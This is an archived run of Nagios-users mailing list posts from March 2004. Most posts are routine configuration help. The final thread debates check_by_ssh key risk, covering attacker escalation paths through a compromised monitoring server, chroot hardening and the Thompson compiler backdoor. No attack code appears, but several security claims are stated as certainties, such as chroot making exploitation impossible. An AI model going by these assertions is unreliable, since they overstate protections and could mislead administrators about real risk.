25 Mar 2004, Hugo Rebello wrote: > > > > > I don?t known, How this check can I monitor if > the > > protocol is up or not ? > > > About this check_ifoperstatus, could you tell me > > what sintaxe should I use > > ? > > > I don?t known what I put in --key and --descr > > option. > > > > > > > When you say "protocol" what exactly do you mean? > > > > Routers have: > > physical interfaces > > logical links > > routing process > > CPU utilization > > Memory usage > > > > -- > > -sg > > > > > > > > > ------------------------------------------------------- > > This SF.Net email is sponsored by: IBM Linux > > Tutorials > > Free Linux tutorial presented by Daniel Robbins, > > President and CEO of > > GenToo technologies. Learn everything from > > fundamentals to system > > > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=ick > > _______________________________________________ > > Nagios-users mailing list > > Nagios-users at lists.sourceforge.net > > > https://lists.sourceforge.net/lists/listinfo/nagios-users > > ::: Please include Nagios version, plugin version > > (-v) and OS when reporting > > any issue. > > ::: Messages without supporting info will risk > being > > sent to /dev/null > > > > > > > > > ------------------------------------------------------- > > This SF.Net email is sponsored by: IBM Linux > > Tutorials > > Free Linux tutorial presented by Daniel Robbins, > > President and CEO of > > GenToo technologies. Learn everything from > > fundamentals to system > > > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click > > _______________________________________________ > > Nagios-users mailing list > > Nagios-users at lists.sourceforge.net > > > https://lists.sourceforge.net/lists/listinfo/nagios-users > > ::: Please include Nagios version, plugin version > > (-v) and OS when reporting any issue. > > ::: Messages without supporting info will risk > being > > sent to /dev/null > > > __________________________________ > Do you Yahoo!? > Yahoo! Finance Tax Center - File online. File on > time. > http://taxes.yahoo.com/filing.html > __________________________________ Do you Yahoo!? Yahoo! Finance Tax Center - File online. File on time. http://taxes.yahoo.com/filing.html ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From merlin at phear.lwz.org Sat Mar 27 01:44:08 2004 From: merlin at phear.lwz.org (Cory Visi) Date: Fri, 26 Mar 2004 19:44:08 -0500 Subject: Redundant setup question Message-ID: <20040326194408.B10059@phear.vi.si> I have two nagios servers in different locations and I'd like them both to monitor my business servers. I do not, however, want to receive two pages for every alert. Therefore, I would like one to act as a primary, and one to act as a backup. Here is the scenario. I have Nagios1 and Nagios2. They monitor Server1, Server2, and Server3. Nagios1 is the primary nagios server. While Nagios1 is up and functioning, alerts from Nagios2 are silent. If Server1 goes down, I receive only an alert from Nagios1. If Nagios2 detects the Nagios1 is down (nagios service monitor), it immediately stops becoming silent, starting with an alert to let me know that Nagios1 is down. From here on, until Nagios1 recovers, Nagios2 should alert me if Server1, etc. goes down. I looked into escalations and I don't think they are appropriate for this kind of setup. Is there any way to do this with the current Nagios 1.2? Thank you, Cory Visi ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From info at OliverBaltz.de Sat Mar 27 02:51:19 2004 From: info at OliverBaltz.de (Oliver Baltz) Date: Sat, 27 Mar 2004 02:51:19 +0100 Subject: No Statusmap-Images in Nagios 1.2 In-Reply-To: <20040326190253.8972.qmail@web10502.mail.yahoo.com> References: <20040326190253.8972.qmail@web10502.mail.yahoo.com> Message-ID: <4064DE17.3040703@OliverBaltz.de> Thanks for your ideas. But it doesn't work yet... Very strange: The URL "http://$MY_SERVERNAME/nagios/images/logos/router40.png" works... Blake wrote: > here is an example from my cfg file ... the only > difference I see is that I am using .gif image files. > > define hostextinfo { > host_name ARC-ROUTER-110 > icon_image my_router.gif > gd2_image my_router.gd2 > 2d_coords 1110,425 > } > > > > --- Oliver Baltz wrote: > >>The images do exist. Here my configs: >> >>############################################# >>hosttextinfo.cfg: >> >>define hostextinfo{ >> host_name gw89,gw92,gw185,gw188 >> icon_image router40.png >> statusmap_image router40.png >> vrml_image router40.png >> >>############################################# >>cgi.cfg: >>... >>physical_html_path=/usr/share/nagios/htdocs >>... >> >>############################################# >>my path to the images: >> >>ls -als >>/usr/share/nagios/htdocs/images/logos/router40.png >> 4 -rw-r--r-- 1 nagios www-data 1816 >>2001-09-23 20:36 >> >>############################################# >> >>Blake wrote: >> >>>if the configs and paths are correct then it must >> >>be >> >>>that the images do not exist? how about showing >> >>us an >> >>>example of your hostextinfo.cfg? >>> >>>--- Oliver Baltz wrote: >>> >>> >>>>Hi at all, >>>> >>>>since I migrated to Nagios 1.2 my statusmap shows >>>>just questionmarks!? >>>>The configs and pathes are correct. What is >> >>wrong?! >> >>>>Thanks, >>>>Olli >>>> >>>> >>>> >>> >>> > ------------------------------------------------------- > >>>>This SF.Net email is sponsored by: IBM Linux >>>>Tutorials >>>>Free Linux tutorial presented by Daniel Robbins, >>>>President and CEO of >>>>GenToo technologies. Learn everything from >>>>fundamentals to system >>>> >>> >>> > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > >>>>_______________________________________________ >>>>Nagios-users mailing list >>>>Nagios-users at lists.sourceforge.net >>>> >>> >>> > https://lists.sourceforge.net/lists/listinfo/nagios-users > >>>>::: Please include Nagios version, plugin version >>>>(-v) and OS when reporting any issue. >>>>::: Messages without supporting info will risk >> >>being >> >>>>sent to /dev/null >>> >>> >>> >>>__________________________________ >>>Do you Yahoo!? >>>Yahoo! Finance Tax Center - File online. File on >> >>time. >> >>>http://taxes.yahoo.com/filing.html >> > > > __________________________________ > Do you Yahoo!? > Yahoo! Finance Tax Center - File online. File on time. > http://taxes.yahoo.com/filing.html > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null -- Oliver Baltz Westf?lische Wilhelms-Universit?t M?nster Informations-Verarbeitungs-Versorgungseinheit Nr. 7 Georgskommende 25 D-48159 M?nster Tel. +49 (251) 83-24223 (d) baltz at uni-muenster.de http://www.uni-muenster.de/ivv7 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jeff at bofus.org Sat Mar 27 06:59:50 2004 From: jeff at bofus.org (Jeffery P. Humes) Date: Fri, 26 Mar 2004 23:59:50 -0600 Subject: Redundant setup question In-Reply-To: <20040326194408.B10059@phear.vi.si> References: <20040326194408.B10059@phear.vi.si> Message-ID: <40651856.3090000@bofus.org> An HTML attachment was scrubbed... URL: From jrhett at isite.net Sat Mar 27 11:00:13 2004 From: jrhett at isite.net (Joe Rhett) Date: Sat, 27 Mar 2004 02:00:13 -0800 Subject: Installation guide In-Reply-To: <406346E2.3070306@op5.se> References: <5.2.1.1.2.20040325153530.033a2bc0@195.206.160.253> <406346E2.3070306@op5.se> Message-ID: <20040327100013.GA25281@isite.net> That is actually not a true statement. On Solaris, we put everything in /opt and I configured with ./configure --prefix=/opt/imagelib --with-png=/opt/imagelib --with-jpeg=/opt/imagelib --enable-shared=no And it all works perfectly fine. You seem to have gone through a lot of work to manually work around something that wasn't a problem. (As you know, Solaris doesn't ship with any of this stuff. I had to manually compile each piece and then compile gd with it .. and none of it had exceptions. And my memory is backed up by the internal documentation to rebuild from scratch which shows only the various configure options.) On Thu, Mar 25, 2004 at 09:53:54PM +0100, Andreas Ericsson wrote: > This is because of a bug in the GD configure script. If you have libpng > installed somewhere other than in /usr, it won't work. > > To fix it, you can run the configure-script with your options and then > manually change the file config.h (somewhere in there, I don't remember > where) and set the HAVE_PNG* and HAVE_JPG* (or JPEG) to be #define'd as 1. > The lines should be something like this; > #define HAVE_PNG_PNG_H 1 > #define HAVE_PNG_LIB 1 > #define HAVE_JPG_JPG_H 1 > #define HAVE_JPG_LIB 1 > Use your head about that though, cause I don't really remember the exact > definitions. > > Then you have to modify the Makefile as well, and make sure CPPFLAGS > includes the directory where you have the header files installed, and > the LDFLAGS variable to include where you have your libraries installed > and finally the LIBS statement must hold all libraries you want to link > against. > On my system, that looks something like this when done; > CPPFLAGS=-I/usr/include -I/opt/include > LDFLAGS=-L/usr/lib -L/opt/lib > LIBS= -lpng -ljpeg -lz -lm -lfreetype -lpng12 > > Every -I directive (in CPPFLAGS) tells the C PreProcessor (CPP) to > look in those directories for the files it can't find (/usr/include is > default, but added by the configure-script). > Every -l tells the linker (ld) in which libraries to > look for symbols it needs to produce executables. > Every -L (in LDFLAGS) tells the linker (ld) where it should expect > to find the libraries mentioned in the -l statements. > > That should do it, assuming you have the development environments for > each respective package installed. > > Alex Farrer wrote: > >Hi, > > > >I'm been having great difficulty getting the Nagios installtion to > >recognise that my installion of gd does have jpeg and png correctly > >installed (this is confirmed when installing gd). Is there a decent > >article available anywhere for a full installation of nagios with a > >detailed breakdown of how to install all these libraries and nagios > >(i.e: a simple "follow the instructions" type of guide) that actually > >works? > > > >I can't find anything decent on Google and my unix experience is fairly > >basic to understand what the problems are! > > > > > > > >------------------------------------------------------- > >This SF.Net email is sponsored by: IBM Linux Tutorials > >Free Linux tutorial presented by Daniel Robbins, President and CEO of > >GenToo technologies. Learn everything from fundamentals to system > >administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > >_______________________________________________ > >Nagios-users mailing list > >Nagios-users at lists.sourceforge.net > >https://lists.sourceforge.net/lists/listinfo/nagios-users > >::: Please include Nagios version, plugin version (-v) and OS when > >reporting any issue. ::: Messages without supporting info will risk > >being sent to /dev/null > > > > -- > Mvh > Andreas Ericsson > OP5 AB > +46 (0)733 709032 > andreas.ericsson at op5.se > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. ::: Messages without supporting info will risk being > sent to /dev/null -- Joe Rhett Chief Geek JRhett at Isite.Net Isite Services, Inc. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jrhett at isite.net Sat Mar 27 11:05:04 2004 From: jrhett at isite.net (Joe Rhett) Date: Sat, 27 Mar 2004 02:05:04 -0800 Subject: Notify-by-email on Solaris 8 doesn't populate the subject In-Reply-To: References: Message-ID: <20040327100504.GB25281@isite.net> Use mailx instead. On Fri, Mar 26, 2004 at 10:03:10AM -0700, Narayanasamy, Sundar wrote: > I am using the standard mail that comes with Solaris 8. On my box, it still sends the mail but with no subject. When I did 'man mail', I couldn't figure it out. > > Do I have any other option? > > Sundar > > > > -----Original Message----- > From: Phil Costelloe [mailto:philc at foundation-it.com] > Sent: Friday, March 26, 2004 9:14 AM > To: nagios-users at lists.sourceforge.net > Subject: RE: [Nagios-users] Notify-by-email on Solaris 8 doesn't > populate the subject > > > Narayanasamy, Sundar wrote: > > Hello, > > > > Whenever I get a warning or error notification from my Nagios > > installation on my Solaris box, it comes with empty subject > > line. How do I fix it? > > > > This is what I have > > > > # 'notify-by-email' command definition > > define command{ > > command_name notify-by-email > > command_line /usr/bin/printf "%b" "***** Nagios > > *****\n\nNotification Type: $NOTIFICATIONTYPE$\n\nService: $SERVIC > > EDESC$\nHost: $HOSTALIAS$\nAddress: $HOSTADDRESS$\nState: > > $SERVICESTATE$\n\nDate/Time: $DATETIME$\n\nAdditional > > Info:\n\n$OUTP UT$" | /usr/bin/mail -s "** $NOTIFICATIONTYPE$ > > alert - $HOSTALIAS$/$SERVICEDESC$ is $SERVICESTATE$ **" > > $CONTACTEMAIL$ } > > There isn't a -s option to the standard mail program on Solaris 8, in > fact that command (generically - printf "body" | mail -s "subject" > someuser) errors rather than sending a mail when I try it. Is mail the > standard Sun version? > > Phil > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=ick > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op?k > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null -- Joe Rhett Chief Geek JRhett at Isite.Net Isite Services, Inc. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jrhett at isite.net Sat Mar 27 11:12:23 2004 From: jrhett at isite.net (Joe Rhett) Date: Sat, 27 Mar 2004 02:12:23 -0800 Subject: Host check notification problem In-Reply-To: <406368A3.C98DF312@lindy.stanford.edu> References: <4062119C.F153065@lindy.stanford.edu> <20040325182718.GA8738@isite.net> <406368A3.C98DF312@lindy.stanford.edu> Message-ID: <20040327101223.GC25281@isite.net> Actually, I don't think (memory late at night?) that you should be getting service notifications at all during the host downtime. This tells me that your host is going down, then coming back up or going into an unknown status. Use the web interface, bring the host down and then find out what status it is going into. I suspect that it's going into an unknown status and that's why service checks are still happening and why you're not getting host notifications. (configuration looks fine, fyi) On Thu, Mar 25, 2004 at 03:17:55PM -0800, Jim Stosick wrote: > Below is the host definition I have been testing with. If I shut > down the web server I get service alert notifications every 15 > minutes while it is down. > > If I shut down the host I get one host alert notification when the > system is detected as down. There are no repeat notifications even > if the system is down for much longer than the 15 minute > notification interval. As soon as I bring the system up I get a > host recovery notification. > > The Nagios version is 1.2, running on Solaris 8. I didn't set up > the Nagios server and I'm new to using Nagios. If there is some > additional information that would be useful in diagnosing the > problem I can get it from the other config files. > > > define hostgroup { > hostgroup_name forsythe-testing-group > alias Forsythe Sun Test System > contact_groups forsythe-sun-admin-mail > members sherpa > } > > define host { > host_name sherpa > alias sherpa > address sherpa.stanford.edu > check_command check-host-alive > max_check_attempts 3 > notification_interval 15 > notification_period 24x7 > notification_options d,u,r > } > > define service { > host_name sherpa > service_description service test > check_command check_http > max_check_attempts 3 > normal_check_interval 1 > retry_check_interval 1 > check_period 24x7 > notification_interval 15 > notification_options w,u,c,r > notification_period 24x7 > contact_groups forsythe-sun-admin-mail > } > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null -- Joe Rhett Chief Geek JRhett at Isite.Net Isite Services, Inc. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jrhett at isite.net Sat Mar 27 11:14:58 2004 From: jrhett at isite.net (Joe Rhett) Date: Sat, 27 Mar 2004 02:14:58 -0800 Subject: Last ditch effort In-Reply-To: <7473201406D1FE4CBAD4096D6BD1E921F277EB@hqexch01.hq.navis.net> References: <7473201406D1FE4CBAD4096D6BD1E921F277EB@hqexch01.hq.navis.net> Message-ID: <20040327101458.GD25281@isite.net> 10 seconds is the default timeout compiled into most of the plugins. This can bite you if you are using ping, say, and have 2-second timeouts in the ping command and 5 pings being sent. Add in the time to resolve the host name, and you'll find it starts going over 10 seconds really fast. (at least, we found that a lot) Change your check commands to give the plugin a timeout of 30 seconds or more, and you'll start finding out what the real issue is instead of getting the misleading plugin timeout stuff. On Wed, Mar 24, 2004 at 08:21:30AM -0800, Aaron Levitt wrote: > Greets everyone- > > I already posted this question already before, but never got to a > solution. I wanted to post one last time in hopes I come up with a > solution before I am forced to go back to netsaint. > > I have recently upgraded to nagios 1.1 from an older release of netsaint > after a long time of faithful service. Since the upgrade, we have been > getting some random timeouts, with an average of 1 or 2 a day. All the > information I really have to go on, is the output from nagios. The mail > contains "Info: CRITICAL - Plugin timed out after 10 seconds". The logs > have the same information, but nothing more helpful. I'm not sure where > it's getting the 10 seconds from. Initially I thought it was nrpe > timing out, but it seems to be random services and hosts as well. > > So far, I have changed max_concurrent_checks and various timeout values > in nagios.cfg. As well as changing max_check_attempts and > normal_check_interval to make sure there wasn't too much going on at the > same time (which really shouldn't matter since nagios is only monitoring > about 60 hosts). I poked through the source code but couldn't find > anything with a 10 second timeout. > > Currently nagios is running on it's own box, no other services are > running on it. It's a 2.4.20 kernel on Redhat 9 and the hardware is a > PIII 800Mhz and it's got 384Mb of RAM. Nothing very special, but that > should be enough I would think. > > All of these false alarms are making nagios completely unreliable, but > it has so many new enhancements, I would really like to continue to use > it. If anyone has any suggestions, please send them my way. Any help > would be greatly appreciated. > > Thanks in advance. > > -=Aaron > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op?k > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null -- Joe Rhett Chief Geek JRhett at Isite.Net Isite Services, Inc. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Sat Mar 27 13:21:42 2004 From: ae at op5.se (Andreas Ericsson) Date: Sat, 27 Mar 2004 13:21:42 +0100 Subject: check_by_ssh question In-Reply-To: <20040326154523.6635.qmail@minnow.softflare.net> References: <40634AF6.6040408@op5.se> <20040326024750.5441.qmail@minnow.softflare.net> <4063E7FB.8060605@op5.se> <20040326113545.16764.qmail@minnow.softflare.net> <40642592.3010006@op5.se> <20040326154523.6635.qmail@minnow.softflare.net> Message-ID: <406571D6.3030904@op5.se> Paul L. Allen wrote: >>> Andreas Ericsson writes: >>> I haven't seen anything that doesn't have local exploits. >> >> I have. It's called Owl, and you can find it at www.openwall.com/Owl > > You can add TeX to that list. The number of commonly-used server > applications that have never had a local or remote exploit is zero. > Wrong. I've written plenty of programs that are unexploitable. Small ones, I'll give you that, but programming ideology scales infinitely. >> And most patches come out because a problem has been detected. > > Which is why I said all you can hope is that you're not one of the > unlucky ones that gets hit before there's a patch. A downright lie. I've patched ntp, postfix and vsftpd BEFORE running them, which means I proactively blocked one or more exploits from ever happening. > You can vet the > sources of critical stuff, but even then you're likely to miss > something. You can detect obvious stuff with automated tools, you > can detect less obvious stuff with human inspection, but you can't > detect stuff that you never imagined could be exploited that way. This is where it becomes obvious to me that you're not a programmer (at least not a very good one). >>> Your proposed nagios exploit relies upon far more serious exploits in >>> order to be able to use it in the first place. >> >> Not really, no. A local user can probably find something to elevate >> his privileges with. > > We don't have any local users on our servers who don't already know the > root password. I wouldn't dream of having a server that is also a > general box for ordinary users to play on. Even apart from the security > issues, I don't want an ordinary user hogging the CPU or doing something > else that degrades the service. > Couple this with any remote exploit to get a shell as the 'nobody' (or 'anybody', really) user, and voil?. All the sudden there's a user on the system that doesn't know the root password. End of this part of discussion, ok? >> A couple of months ago, a remote exploit was found for apache 1.3.28, >> and today there was a new issue with 2.0.48 (3 different, actually), >> which could allow remote users to gain shell access. > > There are always remote exploits. Not really, no. The proper way to run networking services that need root-access to bind ports, devices, etc. etc is to have them behave as follows; Read configuration, bind() the port, chroot to /var/empty (or some other nice place), drop privileges, start accept()'ing on the port. This needs some tweaking to work with apache, true, but it lessens the impact of remote exploits tremendously (since the user will find himself jailed in a chroot environment as a user that lacks the privileges to escape the chroot jail). The need for ANY applications in the chroot environment is absolutely zero, which means that our Mr. Evil Hacker has to; a) Find a bug which allows remote arbitrary code execution. b) Craft a program to exploit it. c) Figure out how to get networking AND shell functionality into the space that's left on the stack. The 'a' and 'b' things happen all the time. I've never seen anybody pull of 'c', and I know for a fact that it isn't possible. Bugs in programs that behave like this may result in a DoS, but never in unauthorized access. > What I meant was that IF >> your nagios server gets compromised, the problem _WILL_ spread to >> every machine you're monitoring with check_by_ssh (unless the attacker >> is a real git, but that's not to hope for). > > You're right that the monitored servers *could* be compromised that > way. But with no "ordinary" local users then the monitoring server > could only be hacked using a remote exploit which is very likely to > be usable on all the monitored servers too. However, the monitored servers doesn't contain a perfect map of the network that the nagios server supplies. Also, the 'other' servers don't have the key required to do it all without hoping for the exploitable network services to be running. >>> Those people may choose bad pasawords >> >> Not necessarily. Ever heard of password policy enforcing? > > > Yeah, VMS had it back in the 80s. > And the PAM-modules that comes with Owl does it properly as well, preventing users AND root to set weak passwords. > I remember slapper as well. But again, if either ssh or apache has a new > exploit and we're unlucky enough to be amongst the first hit then they > don't need the nagios exploit. > --[ snip ]-- > How can I stop him knowing what the vulnerable servers are when all > he needs to do once he has root on the monitoring box is to scan through > the nagios configs? Most of the monitored servers run the same mix of > stuff as the monitoring server so if he can get onto the monitoring > box he can get onto most of the others the same way. > This is where logic goes out the window. In less than ten lines of shell-script, I could automate setting up perfectly invisible backdoors on every last one of your monitored servers. In the 'exploit' scenario I'd most likely have to do 'manual' labour for each server I wanted to backdoor. >> The setsuid binaries needed for the shadow password scheme is why you >> should change to TCB. Then you'd need an overflow to get to read other >> users password files but you still wouldn't have a root account. >> Combined with the password policy enforcement it is not >> computationally feasible to even try to attack a host with those rules >> in place. > > > But that doesn't protect you from all the other possible local exploits. > Far safer not to have ordinary users who don't know the root password on > servers. In some ways, safer still not to have any local users because > the only reason for connecting to those boxes in the first place is to > do something as root. > And run network services (which can be exploited) as pseudo-users. Those pseudo-users CAN get shell-accounts if the network services are exploited. Solution; Remove setuid/setgid bits on ALL programs on the server, and have everybody do everything as root. Without the setuid programs, local non-root users can only spawn shells as themselves when exploiting local programs. >> So this would be the first line of exploitation. If the nsca daemon >> has any bugs, then anybody hacking any of your customers would have >> something to work with. I'm not saying they'll have any luck, just >> that they know where to start > > Yeah, NCSA worries me. So does any daemon that accepts incoming > connections. I wish I could turn them all off, but then we wouldn't > have a business. > >> (and that I for one would try for the fun of it). > > Whereas I would not. Not only because of the legal penalties but also > because I have a degree of respect for others. Crackers would do it > for the hell of it, I wouldn't expect any sysadmin with a sense of > ethics to. And I wouldn't trust any software with a team member who > said he'd try hacking into somebody else's machine "for the fun of it", > let alone security software. I think I'll give owl a miss... > What I meant was to try it against my own network. Neither unethical nor illegal, but equally fun. >>> Then they somehow guess what other customers >>> we monitor and what we've called their machines. >> >> Not necessarily. Generating looooong strings containing arbitrary >> garbage isn't really all that hard, but I guess you know your way >> around the code in libmcrypt and nsca, so you're already certain there >> aren't any problems there. > > I worry about buffer overflows in everything. > But again you're talking about needing a remote exploit first in order > to be able to use a local exploit in order to be able to use the key > exploit. This is generally the usual path every attacker takes to rooting a box. The key exploit just makes it a whole lot easier to root (and backdoor) more servers on the network. > The monitoring server is slightly more vulnerable than the > others because only it runs the NCSA daemon. But since so few machines > run an NCSA daemon compared to machines that run apache, bind, etc., > black-hats are less likely to spend time on it. You're hoping for things that might not be true. Remember; Assumption is the mother of all fuckups. >> Give me a break. Anybody with a minimum of programming skill can write >> a program to relay tcp traffic through more hops than than you have >> hairs on your head. I've written one myself and it took me about 45 >> minutes. > > > So have many crackers. :( But where somebody exploits through physical > access there may well be signs left behind, which is enough to deter > most people from trying it. Rooting through physical access IS impossible to safeguard against, and it's supposed to be so I'm guessing it won't change. >> Laws are good sometimes, but only if it's within the jurisdiction of >> whatever bureau you have enforcing it. > > UK law makes it a criminal offence as long as one end (attacker or > attacked machine) is in the UK. Most countries have extradition laws. > Conducting an international investigation is not a small thing to do, and will probably only happen if the crime has serious implications (my turn to assume). Also, it's worth noting that script-kiddies usually don't know anything about laws, and care about them even less. >>> I suppose you've gone through the source of the entire kernel and every >>> utility and application on your machines. >> >> Actually, I'm an Owl developer which means that's exactly what I do. > > So why do exploits keep happening? Most exploits discovered over the past five years can be contributed to CBK (Crap Behind Keyboard), since many users don't know squat about how to set things up properly. This implies that coding standards have improved, and that security consciousness has increased among open-source hackers. > Most open-source projects have at > least one developer who is strict about enforcing good coding practises > in changes. If you know all the existing holes in everything, why > haven't you submitted patches? I have. > And why is there a large team of > programmers vetting all open-source sources for this sort of problem? > Did none of them know that you've already vetted EVERYTHING and they > could have just asked you? > I haven't gone through everything. Networking programs and setuid/setgid binaries have priority. The rest of them can't really be used to elevate privileges as long as the system is set up properly. > You're not running a fully-audited version. You never will, because > new versions will appear faster than you can vet all changes to everything > installed unless you're superhuman. This is a problem we're keenly aware of. Owl currently uses glibc-2.1.3, which is two minor versions below the latest current one. This is a result of the fact that auditing the code for it took well over a year to complete. The result is that the vast majority of our patches now can't easily be applied to the current glibc. We are working on it, and the glibc team take in every patch they think is good and doesn't break standards. > You've vetted a couple of daemons, and > a couple of critical libraries but not everything that could potentially > be exploited. But at least you started with the ones most likely to be > compromised. See above for this one. Also, a general problem with some programs is the usage of the /tmp directory (links are sometimes followed by setuid programs, without scrutiny). In Owl, this has been solved by adding /tmp/.private, under which each user has their own directory, readable only by him/her. This imposes the limitation that each system can only have a maximum of 32768 users. If an acute need should arise, this can however be worked around. > The day you have everything audited and can keep on top of > changes is the day you can corner the market in distros and probably > topple Microsoft too. Until then you have to worry about local exploits > and remote exploits, just like the rest of us. > Yes, probably so. But the downside of totally secure systems is lower userfriendliness. Most users want things to be easy, so they decrease security in favour of usability. >> No, but it's every admins responsibility to check those that are >> setuid and those that do networking in an 'out-of-jail' fashion. Also, >> naturally, the libraries to which any program might be linked. > > Then there are all the kernel exploits. You cannot hope to check > everything by yourself and you cannot check for exploits that rely > upon principles you never thought of. That's why Owl is developed by a team, and not by me alone. > BTW, did you disassemble gcc? There is no other way of being sure > that you don't have a Ken Thompson back-door unless ALL owl development > was done on machines that have never connected to the Internet before > the standard password routines were replaced by Owl on those machines. > Recompiling gcc from source, patched or not, does not get rid of a > Ken Thompson back-door. Yes it does. In fact, simply renordering the variable declarations is enough to get rid of the kt-backdoor, since it's only capable of applying code to copies of itself, and not other programs (reordering the variable declarations generates different assembly and object code, which is enough for it to 'miss' on the recognition). See http://www.jargon.net/jargonfile/b/backdoor.html for more info on this. I didn't find the sources for it, but the hack is long gone now. Just to kill of a couple of the sections in this thread; Local users without the root password MIGHT get acces to the system, and if they manage to hack root, there isn't necessarily any way of telling they've been there. The nagios server is the hackers primary target, since it provides him with a map of the network, and a listing of (most) of the services running on each host which means he doesn't have to run portscans or random connection attempts which might be picked up by any NIDS. Also, outgoing traffic from the nagios server is less likely to be detected as 